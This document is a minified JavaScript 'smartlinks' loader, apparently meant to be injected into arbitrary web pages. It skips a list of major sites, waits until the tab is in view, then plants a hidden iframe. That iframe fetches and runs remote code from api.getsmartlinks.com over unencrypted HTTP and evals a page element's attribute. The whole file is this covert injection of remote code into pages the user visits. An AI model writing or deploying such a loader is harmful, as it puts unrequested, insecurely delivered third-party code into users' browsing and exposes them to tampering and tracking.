(function(){if("smartlinks" in window.frames){return}var T_LOADER=+new Date,T_WAIT,DEV_MODE=false,DUMP=function(){if("function"==typeof"dump"){return dump.apply(null,arguments)}if("object"==typeof console&&console.log){return console.log.apply(console,arguments)}},L=DEV_MODE?function(m){DUMP("L: "+(new Date-top.X)+(m?" "+m:"")+"\n")}:function(){};L();var SITE_BLACKLIST={http:{"www.nydmv.state.ny.us":1,"docs.google.com":1,"mail.google.com":1,"maps.google.com":1,"picasaweb.google.com":1,"spreadsheets.google.com":1,"www.bing.com":"^/(search|news|videos|images|shopping|entertainment|travel|profile$)","www.google.com":"^/(news|products|finance|reader|calendar|firefox|url|ig|firefox|$)","search.yahoo.com":"^/(search|$)","images.search.yahoo.com":1,"video.search.yahoo.com":1,"shopping.yahoo.com":1,"local.yahoo.com":1,"my.yahoo.com":1,"www.facebook.com":1,"apps.facebook.com":1,"www.twitter.com":"^/$","www.adkdomains.com":1,"track.xml-twister.com":1,"iwiw.hu":1,"vkontakte.ru":1,"www.odnoklassniki.ru":1,"depositfiles.com":1,"www.the-phoenix-broadband-advice-community.co.uk":1,"nightworker-online.de":1,"www.nightworker-online.de":1,"gjresultteaparty.com":1,"www.gjresultteaparty.com":1,"case-mate.com":1,"www.case-mate.com":1}};var iframe,init_options,whenReady,T_RUN,client=navigator.userAgent,is_ie=/MSIE/.test(client)&&!/opera/i.test(client),page=parseURL(location.href),b_list=SITE_BLACKLIST[page.scheme],b_rule=b_list&&b_list[page.hostname],body=document.body;window.smartlinks={run:function run(options){if(init_options||!whenReady){return}T_RUN=+new Date;init_options=options;whenReady(getVisible)}};if(window.frameElement||(body&&/^frameset$/i.test(body.nodeName))||/xml$/i.test(document.contentType||"")||!b_list||/^[^.]+$|(\d[.:]*|\.local(domain)?)$/i.test(page.hostname)||(b_rule&&(1===b_rule||page.pathquery.match(b_rule)))){return}whenReady=(function(){var is_ready="complete"===document.readyState;if(!is_ready){try{is_ready=!!(document.getElementsByTagName("body")[0]||document.body)}catch(e){}}if(is_ready){return function(fn){fn.call(window)}}var ready_list=[];var ready_bound=false;bindReady();function domReady(){if(is_ready){return}is_ready=true;if(ready_list){for(var i=0;i<ready_list.length;i++){ready_list[i].call(window)}ready_list=null}}function addLoadEvent(func){var oldonload=window.onload;if("function"!=typeof oldonload){window.onload=func}else{window.onload=function(){oldonload&&oldonload();func.call(window)}}}function bindReady(){function bindW3C(){document.removeEventListener("DOMContentLoaded",bindW3C,false);domReady()}function bindIE(){if("complete"==document.readyState){document.detachEvent("onreadystatechange",bindIE);domReady()}}function pollIE(){if(is_ready){return}try{document.documentElement.doScroll("left")}catch(e){setTimeout(pollIE,0);return}domReady()}if(ready_bound){return}ready_bound=true;if(document.addEventListener){document.addEventListener("DOMContentLoaded",bindW3C,false)}else{if(document.attachEvent){document.attachEvent("onreadystatechange",bindIE);if(document.documentElement.doScroll&&window==window.top){pollIE()}}}addLoadEvent(domReady)}return function(fn){if(is_ready){fn.call(window)}else{ready_list.push(fn)}}})();function finishLoading(){L("finishLoading");var CO_WIN=window.smartlinks=iframe.contentWindow;iframe.finishLoading=function noop(){};if(CO_WIN.init){CO_WIN.init(init_options)}else{CO_WIN.init_options=init_options}if(CO_WIN.removeEventListener){iframe.removeEventListener("finishLoading",finishLoading,false)}L("finishLoading exits")}function getVisible(){L("getVisible called");try{var sl=document.getElementById("smartlinks"),meta=sl&&/^script$/i.test(sl.tagName)&&eval("("+sl.title+")");T_WAIT=+new Date;if(meta&&meta.seen){L("loader (tab is frontmost)");setupFrame()}else{L("loader (tab not frontmost)");whenVisible(setupFrame)}}catch(e){L("getVisible error:"+(e&&e.message||e))}}function setupFrame(){L("setupFrame");var elem=document.getElementById("smartlinks");if(!iframe&&elem&&/^iframe/i.test(elem.tagName)){return}if(elem){elem.removeAttribute("id")}var delay=50,max_delay=1000,ms_wait=new Date-T_WAIT,i;function injectScripts(){L("setupFrame/injectScripts");iframe.removeEventListener("load",injectScripts,false);try{var win=iframe.contentWindow;var doc=win.document;iframe.addEventListener("finishLoading",finishLoading,false);doc.write(doc_head+T_RUN+", MS_WAIT = "+ms_wait+doc_tail);doc.close()}catch(e){L("injectScripts: "+(e&&e.message||e));if(delay<max_delay){setTimeout(injectScripts,delay);delay*=1.5}else{if(DEV_MODE){alert("Failed to inject script: "+e.message)}}}}var domain=document.domain,fix_dd=(page.hostname===domain)?"":'<script>document.domain="'+domain+'"<\/script>';iframe=iframe||document.createElement("iframe");iframe.src=!is_ie?"about:blank":"javascript:(function(){document.write('<html><head>"+fix_dd+"</head></html>');document.close()})()";iframe.style.cssText="display: none; margin: 0; top: auto; left: auto; bottom: auto; right: auto; overflow: hidden; width: 1px; height: 51px; padding: 0; border: 0; position: absolute; background: transparent; outline: 0; z-index: 2147483645; opacity: 1;";iframe.setAttribute("id","smartlinks");iframe.setAttribute("name","smartlinks");iframe.setAttribute("frameBorder","0");iframe.setAttribute("allowTransparency",true);var code_host="api.getsmartlinks.com",root_url="http://"+code_host+"/",code_url=root_url+"code"+(DEV_MODE?"":".min")+".js";var strict_doctype='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">';var doc_head=strict_doctype+"<html><head>"+fix_dd+'<base target="_blank" /><script>var VER_LOAD=33, code, T_LOADER='+T_LOADER+", T_RUN=",doc_tail=", PARSEURL="+parseURL+", D="+(DEV_MODE?'function D(m) { return;dump("D: "+(new Date-top.X)+(m?" "+m:"")+"\\n");}':"function(){}")+';try { D(); fetch(); } catch(e) { D("error: "+ (e&&e.message||e)); }\nfunction fetch() {\n  D("fetch code.js");\n  if ((code = code || document.getElementById("code"))) return;\n  (code = document.createElement("script")).id = "code";\n  code.className = "ml-smartlinks";\n  code.addEventListener("load", codeLoaded, false);\n  code.src = "'+code_url+'?v_loader=33#"+ (+new Date);\n  document.getElementsByTagName("head")[0].appendChild(code);\n  D("fetching C...");\n}\nfunction codeLoaded() { D("Code fetched!");\n  code.removeEventListener("load", codeLoaded, false);\n  var msg = parent.document.createEvent("Events");\n  msg.initEvent("finishLoading", true, false);\n  frameElement.dispatchEvent(msg);\n}<\/script></head><body></body></html>';function addToBody(){iframe.addEventListener("load",injectScripts,false);document.body.appendChild(iframe);if(attached){window.detachEvent("onload",addToBody,true)}}if(is_ie){var scripts=document.getElementsByTagName("script");var script,src;for(i=0;i<scripts.length;i++){script=scripts[i];if(!script.src){continue}src=parseURL(script.src);if(code_host==src.hostname){break}}var enc=script.parentNode,attached;if((attached=enc.tagName.toLowerCase()!="head")){window.attachEvent("onload",addToBody,true)}else{addToBody()}}else{addToBody()}}function whenVisible(callback){if(document.hasFocus()||whenVisible.already){whenVisible.already=whenVisible.already||1;callback();return}var events=["MozBeforePaint","focus","mousemove","keyup","keydown"];if(!whenVisible.registered){var t0=window.mozAnimationStartTime;if(window.addEventListener){for(var i=0;i<events.length;i++){window.addEventListener(events[i],visible,false)}}else{if(window.attachEvent){window.attachEvent("onfocus",visible)}}whenVisible.registered=true}function visible(e){if("MozBeforePaint"===e.type&&(e.timeStamp-t0)>=1000){window.removeEventListener(events.shift(),visible,false);return}if(!whenVisible.unregistered){if(window.removeEventListener){for(var i=0;i<events.length;i++){window.removeEventListener(events[i],visible,false)}}else{if(window.detachEvent){window.detachEvent("onfocus",visible,false)}}whenVisible.unregistered=true}whenVisible.already=true;callback()}}function parseURL(url){var parts=/^(?:(.+?):\/\/(?:[^\/]+@)?(([^:\/]+)[:\d]*))?([^?#]*(\?[^#]*)?)(#.*)?/.exec(url);return{scheme:parts[1],host:parts[2]||location.host,hostname:parts[3]||location.hostname,pathquery:parts[4]||"",search:parts[5]||"",hash:parts[6]||""}}})();
